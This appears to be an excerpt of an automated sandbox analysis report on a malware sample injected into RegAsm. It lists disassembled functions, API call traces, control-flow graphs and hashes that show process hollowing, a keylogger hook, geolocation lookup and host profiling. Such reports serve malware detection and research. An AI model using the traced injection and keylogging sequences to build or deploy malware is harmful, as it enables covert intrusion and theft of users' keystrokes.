                      • API String ID: 4236061018-3687161714
                      • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                      • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                      • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                      • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                      Function 004180EF Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 289nativelibraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 448 4180ef-418118 449 41811c-418183 GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 448->449 450 418480 449->450 451 418189-418190 449->451 453 418482-41848c 450->453 451->450 452 418196-41819d 451->452 452->450 454 4181a3-4181a5 452->454 454->450 455 4181ab-4181d8 call 436e90 * 2 454->455 455->450 460 4181de-4181e9 455->460 460->450 461 4181ef-41821f CreateProcessW 460->461 462 418225-41824d VirtualAlloc GetThreadContext 461->462 463 41847a GetLastError 461->463 464 418253-418273 ReadProcessMemory 462->464 465 418444-418478 VirtualFree GetCurrentProcess NtUnmapViewOfSection NtClose TerminateProcess 462->465 463->450 464->465 466 418279-41829b NtCreateSection 464->466 465->450 466->465 467 4182a1-4182ae 466->467 468 4182c1-4182e3 NtMapViewOfSection 467->468 469 4182b0-4182bb NtUnmapViewOfSection 467->469 470 4182e5-418322 VirtualFree NtClose TerminateProcess 468->470 471 41832d-418354 GetCurrentProcess NtMapViewOfSection 468->471 469->468 470->449 472 418328 470->472 471->465 473 41835a-41835e 471->473 472->450 474 418360-418364 473->474 475 418367-418385 call 436910 473->475 474->475 478 4183c7-4183d0 475->478 479 418387-418395 475->479 480 4183f0-4183f4 478->480 481 4183d2-4183d8 478->481 482 418397-4183ba call 436910 479->482 484 4183f6-418413 WriteProcessMemory 480->484 485 418419-418430 SetThreadContext 480->485 481->480 483 4183da-4183ed call 418503 481->483 491 4183bc-4183c3 482->491 483->480 484->465 488 418415 484->488 485->465 489 418432-41843e ResumeThread 485->489 488->485 489->465 493 418440-418442 489->493 491->478 493->453
                      APIs
                      • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                      • GetProcAddress.KERNEL32(00000000), ref: 00418139
                      • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                      • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                      • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                      • GetProcAddress.KERNEL32(00000000), ref: 00418161
                      • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                      • GetProcAddress.KERNEL32(00000000), ref: 00418175
                      • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                      • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                      • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                      • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                      • NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000), ref: 00418293
                      • NtUnmapViewOfSection.NTDLL(?,?), ref: 004182BB
                      • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 004182DB
                      • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                      • NtClose.NTDLL(?), ref: 004182F7
                      • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                      • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                      • NtMapViewOfSection.NTDLL(?,00000000), ref: 0041834C
                      • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                      • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                      • ResumeThread.KERNEL32(?), ref: 00418435
                      • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                      • GetCurrentProcess.KERNEL32(?), ref: 00418457
                      • NtUnmapViewOfSection.NTDLL(00000000), ref: 0041845E
                      • NtClose.NTDLL(?), ref: 00418468
                      • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                      • GetLastError.KERNEL32 ref: 0041847A
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$Section$AddressHandleModuleProcView$ThreadVirtual$CloseContextCreateCurrentFreeMemoryTerminateUnmap$AllocErrorLastReadResumeWrite
                      • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                      • API String ID: 316982871-3035715614
                      • Opcode ID: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                      • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                      • Opcode Fuzzy Hash: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                      • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                      Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1666 40a2b8-40a2cf 1667 40a2d1-40a2eb GetModuleHandleA SetWindowsHookExA 1666->1667 1668 40a333-40a343 GetMessageA 1666->1668 1667->1668 1671 40a2ed-40a331 GetLastError call 41bb8e call 4052fd call 402093 call 41b4ef call 401fd8 1667->1671 1669 40a345-40a35d TranslateMessage DispatchMessageA 1668->1669 1670 40a35f 1668->1670 1669->1668 1669->1670 1672 40a361-40a366 1670->1672 1671->1672
                      APIs
                      • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                      • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                      • GetLastError.KERNEL32 ref: 0040A2ED
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • GetMessageA.USER32 ref: 0040A33B
                      • TranslateMessage.USER32(?), ref: 0040A34A
                      • DispatchMessageA.USER32 ref: 0040A355
                      Strings
                      • Keylogger initialization failure: error , xrefs: 0040A301
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                      • String ID: Keylogger initialization failure: error
                      • API String ID: 3219506041-952744263
                      • Opcode ID: 718f47324b8862b268baf47dc1492ba3640dfc9c03fb41c98a70d8505363c975
                      • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                      • Opcode Fuzzy Hash: 718f47324b8862b268baf47dc1492ba3640dfc9c03fb41c98a70d8505363c975
                      • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                      Function 100010F1 Relevance: 12.1, APIs: 8, Instructions: 88stringfileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1748 100010f1-10001166 call 10002c40 * 2 lstrlenW call 10002c40 lstrcatW lstrlenW 1755 10001177-1000119e lstrlenW FindFirstFileW 1748->1755 1756 10001168-10001172 lstrlenW 1748->1756 1757 100011a0-100011a8 1755->1757 1758 100011e1-100011e9 1755->1758 1756->1755 1759 100011c7-100011d8 FindNextFileW 1757->1759 1760 100011aa-100011c4 call 10001000 1757->1760 1759->1757 1762 100011da-100011db FindClose 1759->1762 1760->1759 1762->1758
                      APIs
                      • lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                      • lstrcatW.KERNEL32(?,?), ref: 10001151
                      • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                      • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                      • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                      • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 100011D0
                      • FindClose.KERNEL32(00000000), ref: 100011DB
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$Find$File$CloseFirstNextlstrcat
                      • String ID:
                      • API String ID: 1083526818-0
                      • Opcode ID: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                      • Instruction ID: 89aa6ca17049c9a574106098fd68ded4b08ae6dd255c3979a52dcbc6bb9ed716
                      • Opcode Fuzzy Hash: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                      • Instruction Fuzzy Hash: D22193715043586BE714EB649C49FDF7BDCEF84394F00092AFA58D3190E770D64487A6
                      Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                      Download Yara Rule
                      APIs
                      • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                      • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                      • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                      • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                      • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                      Strings
                      • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Internet$CloseHandleOpen$FileRead
                      • String ID: http://geoplugin.net/json.gp
                      • API String ID: 3121278467-91888290
                      • Opcode ID: 961cfb38cd55e61572119c0efa1b6417dc8b0c9b1577fd71b4996ae3f28eea1b
                      • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                      • Opcode Fuzzy Hash: 961cfb38cd55e61572119c0efa1b6417dc8b0c9b1577fd71b4996ae3f28eea1b
                      • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                      Function 00411CFE Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2
                      • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
                      • GetNativeSystemInfo.KERNEL32(?), ref: 00411DA5
                      • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 00411DC9
                        • Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CB3
                      • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 00411E10
                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 00411E17
                      • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411F2A
                        • Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                        • Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                      • String ID:
                      • API String ID: 3950776272-0
                      • Opcode ID: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                      • Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
                      • Opcode Fuzzy Hash: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                      • Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9
                      Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00413549: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                        • Part of subcall function 00413549: RegQueryValueExA.KERNEL32 ref: 00413587
                        • Part of subcall function 00413549: RegCloseKey.KERNEL32(?), ref: 00413592
                      • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                      • ExitProcess.KERNEL32 ref: 0040F8CA
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseExitOpenProcessQuerySleepValue
                      • String ID: 5.1.0 Pro$override$pth_unenc
                      • API String ID: 2281282204-182549033
                      • Opcode ID: b93807ab3ce0d5bba4bd1ccb9a8b41d40f094000d2685bb717fd1cbe92334c8f
                      • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                      • Opcode Fuzzy Hash: b93807ab3ce0d5bba4bd1ccb9a8b41d40f094000d2685bb717fd1cbe92334c8f
                      • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                      Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                      Download Yara Rule
                      APIs
                      • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,004334BF,00000034,?,?,008AA3B0), ref: 00433849
                      • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000), ref: 0043385F
                      • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000,0041E251), ref: 00433871
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Crypt$Context$AcquireRandomRelease
                      • String ID:
                      • API String ID: 1815803762-0
                      • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                      • Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
                      • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                      • Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C
                      Function 00448957 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                      Strings
                      • GetSystemTimePreciseAsFileTime, xrefs: 00448972
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Time$FileSystem
                      • String ID: GetSystemTimePreciseAsFileTime
                      • API String ID: 2086374402-595813830
                      • Opcode ID: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                      • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                      • Opcode Fuzzy Hash: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                      • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                      Function 0041B60D Relevance: 3.0, APIs: 2, Instructions: 41COMMON
                      Download Yara Rule
                      APIs
                      • GetComputerNameExW.KERNEL32(00000001,?,0000002B,004750E4), ref: 0041B62A
                      • GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Name$ComputerUser
                      • String ID:
                      • API String ID: 4229901323-0
                      • Opcode ID: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                      • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                      • Opcode Fuzzy Hash: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                      • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                      Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                      Download Yara Rule
                      APIs
                      • SetUnhandledExceptionFilter.KERNEL32 ref: 00434B4C
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExceptionFilterUnhandled
                      • String ID:
                      • API String ID: 3192549508-0
                      • Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                      • Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
                      • Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                      • Instruction Fuzzy Hash:
                      Function 0040E9C5 Relevance: 86.5, APIs: 15, Strings: 34, Instructions: 795COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 5 40e9c5-40ea47 call 41cb50 GetModuleFileNameW call 40f3c3 call 4020f6 * 2 call 41be1b call 40fb17 call 401e8d call 43fd00 22 40ea93-40eb5b call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40ea49-40ea8e call 40fbb3 call 401e65 call 401fab call 410f37 call 40fb64 call 40f3b0 5->23 69 40eb5d-40eba8 call 406c1e call 401fe2 call 401fd8 call 401fab call 413549 22->69 70 40ebae-40ebc9 call 401e65 call 40b9bd 22->70 49 40eef2-40ef03 call 401fd8 23->49 69->70 100 40f34f-40f36a call 401fab call 4139a9 call 412475 69->100 79 40ec03-40ec0a call 40d069 70->79 80 40ebcb-40ebea call 401fab call 413549 70->80 88 40ec13-40ec1a 79->88 89 40ec0c-40ec0e 79->89 80->79 99 40ebec-40ec02 call 401fab call 4139a9 80->99 93 40ec1c 88->93 94 40ec1e-40ec2a call 41b2c3 88->94 92 40eef1 89->92 92->49 93->94 104 40ec33-40ec37 94->104 105 40ec2c-40ec2e 94->105 99->79 126 40f36f-40f3a0 call 41bc5e call 401f04 call 413a23 call 401f09 * 2 100->126 108 40ec76-40ec89 call 401e65 call 401fab 104->108 109 40ec39 call 407716 104->109 105->104 127 40ec90-40ed18 call 401e65 call 41bc5e call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->127 128 40ec8b call 407755 108->128 117 40ec3e-40ec40 109->117 120 40ec42-40ec47 call 407738 call 407260 117->120 121 40ec4c-40ec5f call 401e65 call 401fab 117->121 120->121 121->108 141 40ec61-40ec67 121->141 156 40f3a5-40f3af call 40dd42 call 414f2a 126->156 177 40ed80-40ed84 127->177 178 40ed1a-40ed33 call 401e65 call 401fab call 43bad6 127->178 128->127 141->108 144 40ec69-40ec6f 141->144 144->108 147 40ec71 call 407260 144->147 147->108 179 40ef06-40ef66 call 436e90 call 40247c call 401fab * 2 call 4136f8 call 409057 177->179 180 40ed8a-40ed91 177->180 178->177 203 40ed35-40ed7b call 401e65 call 401fab call 401e65 call 401fab call 40da34 call 401f13 call 401f09 178->203 234 40ef6b-40efbf call 401e65 call 401fab call 402093 call 401fab call 41376f call 401e65 call 401fab call 43baac 179->234 183 40ed93-40ee0d call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cdf9 180->183 184 40ee0f-40ee19 call 409057 180->184 193 40ee1e-40ee42 call 40247c call 434798 183->193 184->193 211 40ee51 193->211 212 40ee44-40ee4f call 436e90 193->212 203->177 217 40ee53-40ee9e call 401f04 call 43f809 call 40247c call 401fab call 40247c call 401fab call 413947 211->217 212->217 272 40eea3-40eec8 call 4347a1 call 401e65 call 40b9bd 217->272 286 40efc1 234->286 287 40efdc-40efde 234->287 272->234 288 40eece-40eeed call 401e65 call 41bc5e call 40f474 272->288 289 40efc3-40efda call 41cd9b CreateThread 286->289 290 40efe0-40efe2 287->290 291 40efe4 287->291 288->234 306 40eeef 288->306 294 40efea-40f0c6 call 402093 * 2 call 41b4ef call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43baac call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 289->294 290->289 291->294 344 40f101 294->344 345 40f0c8-40f0ff call 4344ea call 401e65 call 401fab CreateThread 294->345 306->92 346 40f103-40f11b call 401e65 call 401fab 344->346 345->346 356 40f159-40f16c call 401e65 call 401fab 346->356 357 40f11d-40f154 call 4344ea call 401e65 call 401fab CreateThread 346->357 367 40f1cc-40f1df call 401e65 call 401fab 356->367 368 40f16e-40f1c7 call 401e65 call 401fab call 401e65 call 401fab call 40d9e8 call 401f13 call 401f09 CreateThread 356->368 357->356 379 40f1e1-40f215 call 401e65 call 401fab call 401e65 call 401fab call 43baac call 40c162 367->379 380 40f21a-40f23e call 41b60d call 401f13 call 401f09 367->380 368->367 379->380 400 40f240-40f241 SetProcessDEPPolicy 380->400 401 40f243-40f256 CreateThread 380->401 400->401 404 40f264-40f26b 401->404 405 40f258-40f262 CreateThread 401->405 409 40f279-40f280 404->409 410 40f26d-40f277 CreateThread 404->410 405->404 413 40f282-40f285 409->413 414 40f28e 409->414 410->409 415 40f287-40f28c 413->415 416 40f2cc-40f2df call 401fab call 4134ff 413->416 418 40f293-40f2c7 call 402093 call 4052fd call 402093 call 41b4ef call 401fd8 414->418 415->418 425 40f2e4-40f2e7 416->425 418->416 425->156 427 40f2ed-40f32d call 41bc5e call 401f04 call 41361b call 401f09 call 401f04 425->427 443 40f346-40f34b DeleteFileW 427->443 444 40f34d 443->444 445 40f32f-40f332 443->445 444->126 445->126 446 40f334-40f341 Sleep call 401f04 445->446 446->443
                      APIs
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
